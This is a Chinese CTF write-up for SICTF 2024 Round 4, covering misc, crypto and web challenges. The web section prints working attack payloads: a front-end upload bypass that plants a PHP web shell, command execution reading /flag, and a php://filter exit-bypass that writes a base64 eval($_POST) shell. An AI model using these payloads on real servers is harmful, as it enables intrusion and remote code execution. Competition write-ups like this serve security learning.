0%

SICTF 2024

SICTF 2024 #Round 4

图片

Misc(5/5)

签到!

不必多言,直接关注公众号,发送SICTF Round4即可

派森

按照谐音写出加密脚本,其实这里用语音识别应该也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
from operator import xor
#from 提克有第爱慕 import *
answer=[16, 29, 67, 84, 31, 75, 89, 48, 30, 111, 107, 48, 49, 52, 95, 67, 6, 2, 110, 51, 44, 69, 95, 118, 74, 45, 121, 95, 70, 84, 49, 49, 0, 0, 33, 33, 0, 10, 113, 125]
flag=#"SICTF{"+a+"}"

ink = []
for i in range(0,len(flag),4):
ink.append(xor(ord(flag[i]),ord(flag[i+2])))
ink.append(xor(ord(flag[i+1]),ord(flag[i+3])))
ink.append(ord(flag[i+2]))
ink.append(ord(flag[i+3]))
print(ink)

感觉第二个import没用到,不管他,直接逆向写出解密脚本,拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from operator import xor

ink = [16, 29, 67, 84, 31, 75, 89, 48, 30, 111, 107, 48, 49, 52, 95, 67, 6, 2, 110, 51, 44, 69, 95, 118, 74, 45, 121, 95, 70, 84, 49, 49, 0, 0, 33, 33, 0, 10, 113, 125]

flag = ""

for i in range(0, len(ink), 4):
flag += chr(xor(ink[i], ink[i+2]))
flag += chr(xor(ink[i+1], ink[i+3]))
flag += chr(ink[i+2])
flag += chr(ink[i+3])

print(flag)

模型的秘密

拿到压缩包,给了大字典,直接字典爆破出密码

Advanced Archive Password Recovery 统计信息:

总计口令: 116

总计时间: 24ms

平均速度(口令/秒): 4,833

这个文件的口令 : haldaemon

十六进制口令: 68 61 6c 64 61 65 6d 6f 6e

打开文件夹,是一个blender建模文件,修复文件头

如果不知道文件头是什么,而且网上也查不到的话,完全可以新建一个同类型文件查看

img

img

用blender4.2打开,得到flag

用其他版本的blender打开是正方体,在这里卡了半天

Picture

打开文件夹,俩个图片和一个python脚本,应该是自定义加密

代码审计一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from random import randint
from PIL import Image
flag = Image.open('flag.png')
width, height = flag.size
image1 = Image.new(mode="RGB", size=flag.size, color="white")
image2 = Image.new(mode="RGB", size=flag.size, color="white")
for i in range(width):
for j in range(height):
r,g,b = flag.getpixel((i,j))
tr, tg, tb = randint(0, 254), randint(0, 254), randint(0, 254)
image1.putpixel((i,j),(tr,tg,tb))
image2.putpixel((i,j),(r-tr,g-tg,b-tb))
image1.save('flag1.png')
image2.save('flag2.png')

简单的异或加密脚本,直接逆向脚本,拿到flag.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image

flag1 = Image.open('flag1.png')
flag2 = Image.open('flag2.png')

width, height = flag1.size
image = Image.new(mode="RGB", size=flag1.size, color="white")

for i in range(width):
for j in range(height):
tr1,tg1,tb1 = flag1.getpixel((i,j))
tr2,tg2,tb2 = flag2.getpixel((i,j))
image.putpixel((i,j),(tr1+tr2,tg1+tg2,tb1+tb2))

image.save('flag.png')

空白图片,stegsolve查看

拿到 flagimg

外星信号 Ultra

图片末尾提示:

翻译一下是用苹果设备查看图片显示不同,应该是iDot png隐写

Apple 的 PNG 解码器有一个私有的功能:通过 iDOT 进行并行解码,而其存在一个 BUG 或者说设计不严谨的地方

这原本是 Apple 为了 PNG 解码速度而做的一个优化 。按照 PNG 规范 ,PNG 图片分为多个数据块,图片内容的像素流会使用 zlib.deflate 算法压缩后存储在 IDAT 块中。按照标准可以把所有数据存储在一个大的 IDAT 块中,也可以分割存储在多个 IDAT 块中,这原本是为了编码解码时可控内存占用量而设计的,而没有考虑到并行解码,也就是说在对每一个 IDAT 块解压前并不会知道到其中包含了多少像素 。

苹果为了让 PNG 格式的图片可以并行解码并且兼容原本的 PNG 标准,把图片内容分为「前半」与「后半」2 部分,并把像素流分为多个 IDAT 块,然后在 PNG 文件里添加了一个 iDOT 辅助块,其中记录了「前半」「后半」的分隔位置(「后半」数据相对 iDOT 块的偏移值)和解压后的像素高度,这样用 Apple 的 PNG 编码器编码的 PNG 图片用 Apple 自家的 PNG 解码器解码就可以分为 2 个并行的过程,以此充分利用多核性能,同时这样的 PNG 图片也能被普通解码器解码

原理就不过多分析了,可以参考这篇文章:

🦎 在不同设备上显示不一样内容的神奇 PNG 图片 - 知乎

直接用在线网站看到

https://fotoforensics.com/analysis.php?id=05826ce23b2159d5bff498a7756bba511d45b1d2.202681

img

获得随机数种子,这里是伪随机数,写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import random
random.seed(496534891)

def decrypt_file_as_bytes(file_path):
with open(file_path, "rb") as f:
file_data = f.read()
decrypted_data = bytes((byte ^ random.randint(10, 20) for byte in file_data))
return decrypted_data

def write_bytes_to_file(bytes_data, output_file):
with open(output_file, "wb") as f:
f.write(bytes_data)
enc = decrypt_file_as_bytes("data")
write_bytes_to_file(enc, "decrypted_deepsea.wav")

拿到deepsea.wav,用deepsound打开,获得一个sea.wav文件,SSTV扫描,拿到压缩包key

img

解压得到

img

文件名说是base2048,直接解密

img

拿到flag

Web(3/4)

Upl0ad

右键查看源代码

看到一个js函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function validateFileType() {
const fileInput = document.querySelector('input[type="file"]');
const allowedExtensions = /(\.jpg|\.jpeg|\.png|\.pdf)$/i;

if (!allowedExtensions.exec(fileInput.value)) {
alert('只允许上传 JPG、PNG 或 PDF 文件。');
fileInput.value = ''; // 清空选择
return false;
}
return true;
}
</script>

前端过滤,只允许上传jpg jpeg png pdf格式文件

简单的前端绕过,文件上传,直接传马bp改后缀:

img

img

上传成功,跳转到页面,直接命令执行即可

1
cmd=system("cat /flag");

img

Sighin

进入页面直接看源码

img

到robots.txt看一眼

要求访问/wh3re_1s_thi5_fl4g.php

img

写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
$s = "wKq=1MDcLg6yYsrnRYivbO7JoWQ9rBhCZuo4DlZOS7_I5+t=UKzp0hdV1FNL2EFd/nxam3cTbPARsw+8Eky5XUpfH0MeTQ3JXtkGf9qj_4NmlHi/SeIVaCAgxGj26vW8PBzu";
$a = $s[72] . $s[116] . $s[76] . $s[113] . $s[124] . $s[35] . $s[104] . $s[63] . $s[91] . $s[70] . $s[24] . $s[63] . $s[113];
$b = $s[38] . $s[123] . $s[115] . $s[89] . $s[96] . $s[60] . $s[75] . $s[108] . $s[32] . $s[107] . $s[37] . $s[131] . $s[38] . $s[25] . $s[75] . $s[100] . $s[63] . $s[68] . $s[57] . $s[11] . $s[70] . $s[77] . $s[3] . $s[3];
$c = $s[96] . $s[89] . $s[63] . $s[62] . $s[115] . $s[74] . $s[47] . $s[47];
$e = $payload = $s[115].$s[65].$s[86].$s[39].$s[70].$s[4].$s[108].$s[124].$s[26].$s[65].$s[16].$s[116].$s[115].$s[103].$s[98].$s[77].$s[92].$s[48].$s[12].$s[44].$s[115].$s[62].$s[58].$s[55].$s[92].$s[37].$s[55].$s[40].$s[116].$s[71].$s[16].$s[83].$s[92].$s[48].$s[75].$s[23].$s[5].$s[74].$s[47].$s[47];
$f = $a($b);
$g = $a($a($e));
$h = $s[17].$s[130].$s[106].$s[76].$s[113].$s[68].$s[75].$s[109].$s[55].$s[65].$s[26].$s[47];
$i = $a($a($h));
//$i($f()[$a($c)][$g]);
var_dump($a,$b,$c,$e,$f,$g,$h,$i);

加密执行,解密以后是

1
system(get_defined_vars()[_GET][W3lc0me_t0_SICTF.2024]);

直接GET传参

1
?W3lc0me[t0_SICTF.2024=cat /flag

命令执行,这里.号属于特殊字符,用 [ 来绕过php7以下的变量名特殊字符自动转换

Die for now

看一眼

img

哈希长度扩展攻击,试一下

工具链接:https://github.com/shellfeel/hash-ext-attack

123.txt带出secret.php的值

img

传参

1
hash=b7dd1b3c6b6dcc52a01f808e31e9d21c&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAxW1sxMjMudHh0

查看123.txt

img

死亡代码绕过

可以参考这篇博客:

探索php://filter在实战当中的奇技淫巧-安全客 - 安全资讯平台

Bypass

1
<?php exit(); 
1
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php

这里base64四位解码,直接破坏<?等符号结构,绕过死亡代码后传马,命令执行

Payload:

1
hash=d698e9ead3bbf847e4b83c78731e7400&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAxW1twaHA6Ly9maWx0ZXIvd3JpdGU9c3RyaW5nLnN0cmlwX3RhZ3N8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPT8+UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzFGbWRHMWRLVDgrLy4uL1FmdG0ucGhw

访问Qftm.php,传参命令执行

img

Crypto(3/4)

SignBase

简单题,base64解码拿flag

Smooth

看题目名和内容,应该是RSA p-1光滑,可以参考这篇文章

RSA p+1或p-1光滑_p-1光滑数-CSDN博客

直接贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
import gmpy2
N = 11353462911659482113796537452147300926058319193410149519981293344545095869273822230953023429933867057788424748612924709948861133348747189832397098293375764081790597820832766019459982124608221261607650511397189714784056313299551817534654742174637343804047231232241364089289257964139944018168155573510980260130960125621306919129390727418251555408239157881843225479158237727969284756513805560836003067115936987292751142016846824024901372913577548599978847860303760659677939193351221798796221804998385095596961591093782162020167439948314063423204757741472210008357888290333170757522814768955797167174930629344666183821709125207308525214263797625499327774875517941662523738827284067304929843343871569023248931759251331056863803201916908875256305736551124386988450879913404808869417817363510363373493093139804372817316366990863872781848240937733101758906281563575413208242901819275013539759479445299894840593737457394207415306989963459347994339058584475533786264375696277942369426844216474662828121334192775480587740071776080691560820922589751966526187341539255661442517814436944781114380877453502120302247547983180059537220197840688418898830571100216529994749464486853212098379822895838120836692532849021875818941979891105837972315129986493
c = 4598142980961588614870523368474306387497434303187254927457676265871592231881441246092917258758503624096206624791819316260705668875764048374035213672138915662719877795747211803584360349151646264274341548770123417923229997374982757324397146348908248704115062655445309042278469908831635522908894918382861563762003781223067210316435231509359575745828484177064520417698784251000631935361105284031848497200100561554984257265297077176545082009710252149167922123535451717313588884862304552508619154651546264753192894485610685402565486840707709012364088270364787452130288293053818329408433642977483320525542674345001200312959241276966417288770125166249156122793451000156544563900072606708005901579238109781720805374132101363788622676000360345128868422751829657184702090198806325558601552728909032627597688702884484377994243047876011323705947461799669488497113582621976154428096812072612119422667669321557427061098391558516935530727451865151957035156100271891977310043273298085691419672779758845492888551759393825925266903887942750052210444677062600227218953570162640164207895883301679126000642791876167281967081725589618329012476305157314322062703122134504285038691938912783524944917966615556902938825590064899700174139252191278691620663355243
e=0x10001
import gmpy2
a = 2
n = 2
while True:
a = pow(a, n, N)
res = gmpy2.gcd(a-1, N)
if res != 1 and res != N:
q = N // res
print("n=",n)
print("p=",res)
print("q=",q)
break
n += 1

d=gmpy2.invert(e,(res-1)*(q-1))
m=pow(c,d,N)
print(long_to_bytes(m))

#SICTF{d8af7f58-49f7-490d-be49-386b8ff16361}

next_prime

解方程组,p q挨得很近,可以用费马分解

2021年“绿城杯”网络安全大赛-Crypto-RSA2-PLUS原题脚本能直接打

exp如下:

先分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import gmpy2

def fermat_factorization(n):
factor_list = []
a = gmpy2.iroot(n, 2)[0]
while True:
a += 1
b2 = a * a - n

if gmpy2.is_square(b2):
b2 = gmpy2.mpz(b2)
b, xflag = gmpy2.iroot(b2, 2)
assert xflag
factor_list.append([a + b, a - b])
if len(factor_list) == 2:
break
return factor_list

n1 = 143003048136494625720615623612005913472507924053937690079082986485649969355472743235179770036996193641198750946508667945561623931811236977039763581123681134310890547763107653222776992418543178066390387385209825190685606728024120446212807710589806258669458993047631033905702244902809204039169931629358263456702579067559691338668237882496453568585374905432631312417129535623987837367199215661733043851565981435234933986864857569158677737153423060041120732727135186371678287680926662892691327401787213342106281956461499522723795617869239148528294553548775690229067500104867437905746412645684721821428282431567702986879179533855920546700706123995719114359958306882907020982377260255340490340263938995699635287224549324332962230238510191824829224191551900441011605052418697617085549543103391184965537110312684637038510114533398510307173011690076219892318860903556489256383303693074652155424333388152193775840529985682153395008472897617946636734810609200156268438329402662168752285341847607694230848883249991722691539384542468611397615969487669898094687344847452861774236267516878551680397732564006255256825307533960791695267034807439791627895625581061889926276814228469856614838307012696777026973517086921078389474757196549594972814371353

factor_list = fermat_factorization(n1)
X1, Y1 = factor_list[0]
X2, Y2 = factor_list[1]

assert X1 * Y1 == n1
assert X2 * Y2 == n1

p = gmpy2.gcd(X1, X2)
q = X1 // p
p1 = gmpy2.gcd(Y1, Y2)
q1 = Y1 // p1

print('p =', p)
print('q =', q)
print('p1 =', p1)
print('q1 =', q1)

拿到两组p q,常规RSA解密,慢慢试,拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import gmpy2
from Crypto.Util.number import long_to_bytes


q = 113787980601251745826843877382579552614648689857848904057572059325440944465611640163147176996118167635079365778546506624499634252375260044431411000949865475313224316650494893792164068973839036934191662707067777255376224926590339831443832304095551258919095844512924220523460823214952758504127950314742622077043
p = 105093597128835439479657061236111691975605383355129363600351480053850707028369723338526666770974606911527798737164915958103082313581695026637245098382021718070694325314274439104912172972661654273602405666361761211778169903604127876997716201210879207713092042764119984813765613769539486499321202923341006511223


e = 65537
c = 10602368727908312334676265892975307612231309319511015017178654564186172749979627738052483995870388025140270600159107954524376993980949045647370337520644299969292550299798129717198074042121264370311983929042594290226321121639097714569204574387632530578153623781118813035223106106430716561113649761388347227207862016222328885951443891878767280730866193302995220736592745950808566359750940949520997722511969961743175777398751576595421456387998438214806188903746057855596476380404784738717555105866919649086601807350830108805521710188675565963765427930594177874353694184805979235854934856122125278853834603734029710968348

# n = 40600296529065757616876034307502386207424439675894291036278463517602256790833
n = q*p
# print(n)
d = gmpy2.invert(e, (p -1) * (q-1))
print("d=",d)
m = pow(c, d, n)
print("m=",m)
print(long_to_bytes(m))

#SICTF{f2a3af27-ad07-4fc2-9b69-a91304eee6a3}